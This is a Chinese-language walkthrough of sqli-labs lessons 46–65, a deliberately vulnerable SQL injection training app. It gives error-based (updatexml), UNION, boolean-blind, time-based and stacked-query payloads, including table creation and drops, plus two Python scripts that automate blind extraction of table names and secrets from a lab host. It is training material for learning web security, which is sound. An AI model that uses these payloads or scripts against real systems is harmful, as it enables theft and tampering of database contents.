|  1 | Dumb     | hackerbygh0st |
|  2 | Angelina | I-kill-you    |
|  3 | Dummy    | p@ssword      |
|  4 | secure   | crappy        |
|  5 | stupid   | stupidity     |
|  6 | superman | genious       |
|  7 | batman   | mob!le        |
|  8 | admin    | admin         |
|  9 | admin1   | admin1        |
| 10 | admin2   | admin2        |
| 11 | admin3   | admin3        |
| 12 | dhakkan  | dumbo         |
| 14 | admin4   | admin4        |
+----+----------+---------------+
13 rows in set (0.00 sec)

也就是说 后面的语句为0或者1来进行异或

查询正确就是返回异或1得到的结果

查询错误就返回0带来的结果

这里我布尔盲注的脚本不知道怎么写 先略过吧

Lesson-47 (GET型 字符型'id' 语句中有order by 有报错)

同46关 不过闭合方式变为了单引号包裹

报错注入

?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

布尔盲注

id^(substr(database(),1,1)='s')

时间盲注

mysql> select * from users order by 'id'^if((substr(database(),1,1)='s'),sleep(2),1)^1;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
|  8 | admin    | admin         |
|  3 | Dummy    | p@ssword      |
| 11 | admin3   | admin3        |
|  6 | superman | genious       |
|  1 | Dumb     | hackerbygh0st |
|  9 | admin1   | admin1        |
|  4 | secure   | crappy        |
| 12 | dhakkan  | dumbo         |
|  7 | batman   | mob!le        |
|  2 | Angelina | I-kill-you    |
| 10 | admin2   | admin2        |
|  5 | stupid   | stupidity     |
| 14 | admin4   | admin4        |
+----+----------+---------------+
13 rows in set, 13 warnings (26.14 sec)
?sort=4'^if((substr(database(),1,1)='s'),sleep(2),1)%23

Lesson-48 (GET型 数字型 无报错)

这关关闭了报错提示 那就选择布尔盲注和时间盲注

由于布尔盲注 返回的内容是一致的 但是内容顺序是不一致的 所以我目前不知道怎么写盲注脚本来注入

因此我们选择时间盲注脚本

-- -采用时间盲注
?sort=if(length(database())=8,sleep(2),1)
?sort=1 and if(length(database())=8,sleep(2),1)
import requests
import time

s = requests.session()
url = 'http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-48/'
table = ""

for i in range(1, 50):
    print("正在获取第{0}个字符:".format(i))
    str = ",abcdefghigklmnopqrstuvwxyz0123456789_"
    for j in str:
        print("当前注入的字符是{0}".format(j))
        # 爆库名 security
        # payload = "if (substr(database(),{0},1)='{1}',sleep(1),1)".format(i, j)
        # 爆表名
        # payload = "if (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',sleep(1),1)".format(i,j)
        # 爆字段名
        # payload = "if (substr((select group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73),{0},1)='{1}',sleep(1),1)".format(i,j)
        # 读取数据
        payload = "if (substr(( select group_concat(username) from security.users),{0},1)='{1}',sleep(1),1)".format(i, j)
        start = time.time()
        res = s.get(url=url + '?sort=' + payload)
        end = time.time()
        costtime = end - start
        print("当前花费时间为{0}".format(costtime))
        if costtime >= 7:
            table += j
            print(table)
            break
    if costtime <= 7:
        print("当前数据库名字/表名/字段名/数据是" + table)
        break

Lesson-49(GET型 字符型'id' 无报错)

同第48关 区别就是注入点被单引号'id'包裹

?sort=1' and if(length(database())=8,sleep(5),1)%23             

Lesson-50(GET型 数字型 语句中有order by 堆叠注入)

    if (mysqli_multi_query($con1, $sql))  

堆叠注入嘛 老套路了

?sort=1;create table Gh0st50 like users;
?sort=1;drop table Gh0st50;

Lesson-51 (GET型 字符型'id' 语句中有order by 堆叠注入)

?sort=1';create table Gh0st50 like users%23
?sort=1';drop table Gh0st50%23

Lesson-52(GET型 数字型 语句中有order by 堆叠注入 无报错)

?sort=1;create table Gh0st50 like users;
?sort=1;drop table Gh0st50;

Lesson-53(GET型 字符型'id' 语句中有order by 堆叠注入 无报错)

?sort=1';create table Gh0st50 like users%23
?sort=1';drop table Gh0st50%23

Lesson-54 (限制查询10次)

?id=1'%23
database         challenges
?id=-1' union select 1,database(),3%23
table         3aayoz88v6
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
columns         id,sessid,secret_AMMH,tryy
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x336161796f7a38387636%23
?id=-1' union select 1,2,group_concat(secret_AMMH) from 3aayoz88v6%23

Lesson-55(限制查询14次)

database         challenges
?id=-1) union select 1,database(),3%23
table     j052uexits    
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column   id,sessid,secret_16O1,tryy
?id=-1) union select 1,group_concat(column_name) from information_schema.columns where table_name='j052uexits',3%23
data
?id=-1) union select 1,2,group_concat(secret_16O1) from j052uexits%23

Lesson-56 (限制查询14次)

?id=1')%23
database         challenges
?id=-1') union select 1,database(),3%23
table     rhbj92kjws
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column   id,sessid,secret_DNDY,tryy 
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='rhbj92kjws'%23
data
?id=-1') union select 1,2,group_concat(secret_DNDY) from rhbj92kjws%23

Lesson-57(限制查询14次)

?id=2"%23
database
?id=-1" union select 1,database(),3%23
table l631sr2765
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column :id,sessid,secret_Z6MA,tryy
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l631sr2765'%23
data
?id=-1" union select 1,2,group_concat(secret_Z6MA) from l631sr2765%23

Lesson-58 (限制查询次数5次)

这关和原来的关卡就有所不同了 显示的数据是写死的

            if($row)
            {
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                $pass = array_reverse($unames);
                echo 'Your Login name : '. $unames[$row['id']];
                echo 'Your Password : ' .$pass[$row['id']];
            }

那这边就用报错注入方便一点吧

database
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
table vnqf4h6o8r
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
column id,sessid,secret_N3FC,tryy
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='vnqf4h6o8r'),0x7e),1)%23
data
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_N3FC) from vnqf4h6o8r),0x7e),1)%23

Lesson-59 (限制查询次数5次)

和58关类似 只不过换了这次变为了数字型

database
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
table vby2hea6wj
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
column secret_CTV3
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='vby2hea6wj'),0x7e),1)
data
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_CTV3) from vby2hea6wj),0x7e),1)

Lesson-60 (限制查询次数5次)

和58关类似 只不过换了这次变为了字符型("id")

database
?id=1") and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
table nfk0bzkftf
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
column id,sessid,secret_5S0R,tryy
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='nfk0bzkftf'),0x7e),1)%23
data 
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_5S0R) from nfk0bzkftf),0x7e),1)%23

Lesson-61 (限制查询次数5次)

注意闭合方式就可以了 (('id'))

Lesson-62 布尔盲注 (限制查询次数130次)

这关也是注释掉了 报错那么优先考虑盲注

#62关 布尔盲注脚本
import requests
import time

s = requests.session()
url = 'http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-62/index.php'
table = ""

for i in range(1, 25):
    start = time.time()
    str = "_secrt0123456789ideabcfghjklmnopquvwxyz-,"
    print("正在获取第{0}个字符:".format(i))
    for j in str:
        print("猜第{0}个字符是否是{1}".format(i, j))
        # print("猜数据库长度是否是{0}".format(i))
        # 数据库长度
        # payload = " and length(database())={0}%23".format(i)
        # 爆库名 challenges
        # payload = " and substr(database(),{0},1)='{1}'%23".format(i, j)
        # 爆表名  a70s0gjv2u
        # payload = " and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}'%23".format(i, j)
        # 爆字段名 secret_xlk3
        # payload = " and substr((select column_name from information_schema.columns where table_name='a70s0gjv2u' limit 2,1),{0},1)='{1}'%23".format(i, j)
        # 读取flag
        payload = " and substr((select group_concat(secret_s8kj) from a70s0gjv2u),{0},1)='{1}'%23".format(i, j)

        res = s.get(url=url + "?id=1')" + payload).text
        if 'Your Login name' in res:
            table += j
            print("当前数据库名字/表名/字段名/数据是:" + table)
            break
    if 'Your Login name' not in res:
        end = time.time()
        print("当前数据库名字/表名/字段名/数据是:" + table)
        print("总共耗时:{0}".format((end - start)))
        break

Lesson-63 布尔盲注(限制查询次数130次)

同62关 区别为注入点被单引号包裹'id'

Lesson-64 布尔盲注(限制查询次数130次)

同62关 区别为注入点被双括号包裹((id))

也可以选择时间盲注 不过比较费时间

?id=2)) and if(length(database())=10,sleep(10),1)%23

Lesson-65 布尔盲注(限制查询次数130次)

同62关 区别为注入点被括号和双引号包裹("id")

?id=2") and if(length(database())=10,sleep(10),1)%23
文章目录